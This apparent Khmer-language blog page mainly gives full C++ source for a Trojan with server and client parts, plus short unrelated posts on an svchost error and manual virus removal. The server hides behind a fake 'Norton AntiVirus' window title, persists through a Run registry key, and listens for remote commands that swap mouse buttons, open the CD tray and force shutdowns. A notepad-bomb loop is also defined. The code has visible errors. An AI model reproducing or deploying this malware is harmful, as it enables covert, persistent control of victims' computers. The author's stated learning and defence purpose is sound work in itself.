Source Code មេរោគប្រភេទ Trojan សរសេរក្នុង C++

សូម​បញ្ជាក់​ម្តង​ទៀត ការ​ដាក់​ Source Code ណ្នឹង​មិនមែន​បំណង​ប្រាប់​ពី​របៀប​ខូច​ដល់​អ្នក​ទាំងអស់​គ្នា​ទេ តែចង់​អោយ​ស្វែង​យល់​ពីវិធីសាស្រ្ត​ក្នុង​ការ​សរសេរ និង​ដឹង​ពីរបៀប​សរសេរ​ទប់​ស្តាក់​ពពួក​មេរោគទាំងនោះបាន។

***** CODE FOR SERVER FOLLOWS *********

#include <winsock2.h>
#include <iostream>
#include <windows.h>
using namespace std;

char Windir[MAX_PATH];
char Module[MAX_PATH];

SOCKET Socket;

void Hide()
{
SetConsoleTitle(“Norton AntiVirus”);
hide = FindWindow(NULL, “Norton AntiVirus”);
ShowWindow(hide, 0);
}

void GetPaths()
{
GetSystemDirectory(Windir, sizeof(Windir));
GetModuleFileName(0, Module, sizeof(Module));
strcat(Windir, “\\WindowsAPICalls.exe”);
}

void Install()
{
CopyFile(Module,Windir,0);

HKEY Install;
RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
RegCloseKey(Install);
}

int ServerInitialize()
{
WSADATA wsaData;
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Winsock initialized.” << “\n”;
}

Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );

if (Socket == INVALID_SOCKET )
{
WSACleanup();
system(Module);
return 0;
}

else
{
cout << “Socket created.” << “\n”;
}

sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons(5432);

if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
{
closesocket(Socket);
system(Module);
return 0;
}

else
{
cout << “Socket bound successfully.” << “\n”;
}
if (listen( Socket, 1 ) == SOCKET_ERROR )
cout << “Error listening on socket.” << “\n”;

SOCKET AcceptSocket;

cout << “Waiting for a client to connect…” << “\n”;
AcceptSocket = SOCKET_ERROR;
while (AcceptSocket == SOCKET_ERROR )
{
AcceptSocket = accept(Socket, NULL, NULL );
}
cout << “Client Connected.”<< “\n”;
Socket = AcceptSocket;
}

void Shutdown()
{
char Message[MAX_PATH]=”Your computer is infected with a malicious virus!”;
InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
}

void OpenCloseCDTray()
{
mciSendString(“set cdaudio door open”, 0, 0, 0);
mciSendString(“set cdaudio door open”, 0, 0, 0);
}

void Bomb()
{
HWND hwnd;
char Notepad[MAX_PATH]=”notepad.exe”;
for(;;)
{
ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
}
}

void LeftMouse()
{
SwapMouseButton(true);
}

void RightMouse()
{
SwapMouseButton(false);
}

void Receive()
{
for(;;)
{
char Choice[MAX_PATH]=””;
cout << “Waiting for commands, sir!” << “\n”;
recv(Socket, Choice, sizeof(Choice), 0);
cout << Choice << “\n”;
if (!strcmp(Choice,”1″))
{
LeftMouse();
const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
}
if (!strcmp(Choice,”2″))
{
RightMouse();
const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
}
if (!strcmp(Choice,”3″))
{
OpenCloseCDTray();
const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”};
send(Socket,c_CDTray, sizeof(c_CDTray),0);
}
if (!strcmp(Choice,”4″))
{
Shutdown();
const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
}
}
}

int main()
{
Hide();
GetPaths();
if(!strcmp(Windir,Module))
{
ServerInitialize();
Receive();
}
else
{
Install();
ServerInitialize();
Receive();
}
return 0;
}

***** CODE FOR CLIENT FOLLOWS *********

#include <winsock2.h>
#include <windows.h>
#include <iostream>
using namespace std;

SOCKET Socket;

int ClientInitialize()
{
char IP[MAX_PATH];
cout << “Enter IP: “;
cin >> IP;

WSADATA wsaData;
int iResult;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
{
cout << “Error at WSAStartup()\n”;
cin.ignore();
return 0;
}
else
{
cout << “Winsock intialized.\n”;
}

Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (Socket == INVALID_SOCKET)
{
cout << “Error at socket(): %ld\n”,WSAGetLastError();
WSACleanup();
cin.ignore();
return 0;
}
else
{
cout << “Socket initialized” << “\n”;
}

sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( IP );
clientService.sin_port = htons(5432);

if (connect(Socket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
{
cout << “Failed to connect.\n”;
WSACleanup();
cin.ignore();
return 0;
}

else
{
cout << “Connected to server.” << “\n”;
}
}

int exit()
{
return 0;
}

void Send()
{
for(;;)
{

char Choice[MAX_PATH];
cout << “List of commands:” << “\n”;
cout << “1. Left Mouse” << “\n” << “2. Right Mouse” << “\n”;
cout << “3. Open\\Close CD Tray” << “\n” << “4. Notepad Bomb” << “\n”;
cout << “5. Shutdown.” << “\n”;
cout << “Take your pick: “;
cin >> Choice;
send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
char ServerResponse[MAX_PATH];
recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
cout << “\n” << “\n” << “Command successful!” << “\n” << ServerResponse;
cout << “\n” << “\n” << “\n” << “\n” << “\n”;
Sleep(2000);
}
}

int main()
{
SetConsoleTitle(“.=.quickbolt’s Trojan.=.”);
ClientInitialize();
Send();
cin.ignore();
return 0;
}

Solved: Generic Host Process for Win32 Services has encountered a problem

As a computer technician, here is a problem I have been encountered across more and more. While using Windows XP around 20 minute, It automatically display error message as below:

Generic Host Process for Win32 Services has encountered a problem and needs to close.  We are sorry for the inconvenience.

szAppName : svchost.exe
szAppVer : 5.1.2600.0
szModName : ntdll.dll
szModVer : 5.1.2600.1217
offset : 0000b2ab

Sometime it generate various error messages.

Read Full Article Here..

របៀប​កំចាត់​មេរោគ​ដោយ​មិន​ចាំបាច់​ប្រើ​ Antivirus

អាឡូវ​នេះ ទ្រាំ​មិន​បាន​ ដោយ​មាន​អ្នក​សួរ​ច្រើន​ពេក ទាក់​ទង​នឹង​ការ​កំចាត់​មេរោគ​ដោយមិន​បាច់​ប្រើ​កម្មវិធី Antivirus ​ក៏​ដាច់​ចិត្ត​យក​មេរៀន​ដែល​បង្រៀន​គេ​រាល់​ចុង​សប្តាហ៍ មក​ដាក់​ជា​សាធារណះ​តែ​ម្តង​ចុះ ដើម្បីសំរួល​ដល់​ការ​ប្រាប់​តាម​ទូរស័ព្ទទៅកាន់​សិស្ស​រាប់​សិប​នាក់​ដែលបាន​រៀន​ហើយ​ តែ​​មិន​សូវ​យល់​ច្បាស់ ។

យើង​អាច​ចាប់​មេរោគ​បាន​តែ​មួយ​ចំនួន​ប៉ុណ្នោះ ចំពោះ​ប្រភេទ Worm, Trojans, Spyware, Malware យើង​មិន​អាច​ចាប់​វា​ដោយ​ដៃ​បាន​ទេ ។

វិធីកំចាត់​មេរោគ​មាន​បី​ដំណាក់​កាល​សំខាន់​ៗ​ :

១​-សំលាប់រាល់​​ដំណើរការ​របស់​មេរោគ ( Kill all Virus Process):

យើង​អាច​ប្រើ​កម្មវិធី​ជំនួយ​ដូច​ជា : Process XP, Vista Manager, Windows 7 Manager ដែល​អាច​ បញ្ឈប់​រាល់​ដំណើរ​ការ​របស់​មេរោគ​បាន ។ នៅ​ក្នុង​វិនដូរ​ក៏​មាន​ដែរដូចជា Task Manger, cmd, command.com តែ​ភាគច្រើន​មេរោគ​បាន​បិទ​អស់​ទៅ​ហើយ ។

២-ស្វែង​រក​ និង​លុប​មេរោគ ( Delete all virus related file):

បន្ទាប់​ពី​ Kill Process ហើយ​ យើ​ងត្រូវ​ស្វែង​រក​ មេរោគ​ដោយ​កំណត់​នូវ ទំហំ , Date Modified, រួច​លុប​ចោល​ទាំងអស់ ។

មុន​នឹង​លុប​មេរោគ​ត្រូវ​កត់​ចំណាំ​ឈ្មោះ​ និង​ទីតាំង​វា​ផង ។

៣-លុប​ Key មេរោគ​ពី Windows Registry ( Delete Virus key & Value from Registry):

យើង​ត្រូវ​ចូល​ក្នុង​ Registry បន្ទាប់​មក​ធ្វើ​ការ​ស្វែង​រក​ និង​លុប​ Key & Value របស់​មេរោគ​ ដោយ​វាយ​ឈ្មោះ​មេរោគ​ដែល​យើង​បាន​ស្វែងរក​ឃើញ​នៅក្នុង​ជំហាន​ទីពីរ ម្តង​មួយ​ៗ ​។

នេះ​ជា​ជំហាន​សំខាន់​ៗក្នុង​ការ​កំចាត់​មេរោគ ហើយ​លើក​ក្រោយ​ខ្ញុំនឹង​បង្ហាញ​ពីការ​កំចាត់​មេរោគ​នីមួយៗ​អោយ​មើល​ ដោយ​អនុវត្ត​តាម​វិធីសាស្រ្តទាំងពី​ខាង​លើ ។